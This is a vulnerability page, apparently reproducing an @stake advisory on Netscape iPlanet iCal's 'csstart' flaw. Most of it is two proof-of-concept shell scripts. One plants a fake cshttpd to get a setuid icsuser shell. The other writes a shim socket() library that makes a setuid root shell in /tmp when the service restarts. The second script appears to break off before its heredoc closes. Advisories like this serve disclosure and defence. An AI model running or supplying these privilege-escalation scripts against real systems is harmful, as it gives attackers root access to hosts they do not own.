Netscape iPlanet iCal 'csstart' Vulnerability

The following exploit information has been taken from the @ Stake advisory on this issue. The advisory itself is attached in full in the 'Credit' section of this vulnerability.


Proof of Concept Tools:

There are two scripts below, the first obtains an icsuser shell.
The second script is used to obtain root access the next time iCal is
stopped or started. The second script should be run once you've obtained
the shell and have become the icsuser. This second script creates a shim
libsocket.so.1 library with a modified socket() function that then
executes a shell script as root.

[begin: obtain-ics.sh]
#!/bin/sh
#
# Simple proof of concept exploit used to obtain icsuser shell.
#
# -sili@atstake.com
#
INSTDIR=`cat /etc/iplncal.conf`

cat > cshttpd << FOOFOO
#!/bin/sh
cp /usr/bin/ksh ./icsuser
chmod 4755 ./icsuser
FOOFOO

chmod 755 ./cshttpd

echo "Executing csstart...."
$INSTDIR/cal/bin/csstart -v -p 1 -a 2 2>/dev/null

sleep 1
ls -al ./icsuser
[end: obtain-ics.sh]


[begin: obtain-root.sh]
#!/bin/sh
#
# Simple iCal exploit. Become icsuser by running the shell created with
# the
# obtain-ics.sh script, and then run this shell script. The next time that
# the
# service is started by root (ie. system reboot), a root owned suid shell
# will
# be created: /tmp/r00tshell.
#
# -sili@atstake.com
#

INSTDIR=`cat /etc/iplncal.conf`

#######
#Create the shim library..

cat > libsushi.c << FOEFOE
/* libsushi
compile: gcc -shared -nostartfiles -nostdlib -fPIC -o libsushi
libsushi.c
*/
#include <unistd.h>
int socket(void)
{
setuid(0);
execl("./icalroot","icalroot",0);
return 0;
}
FOEFOE

#####
#create the shell script we'll be executing as root..

cat > $INSTDIR/cal/bin/icalroot << FOOFOO
#!/bin/sh
cp /usr/bin/ksh /tmp/r00tshell
chmod 4755 /tmp/r00tshell
rm $INSTDIR/cal/bin/icalroot
rm $INSTDIR/cal/bin/libsocket.so.1
ls -l $INSTDIR/cal/bin/icalroot

echo ".. Now wait for the iCal service to start up again"
[end: obtain-root.sh]


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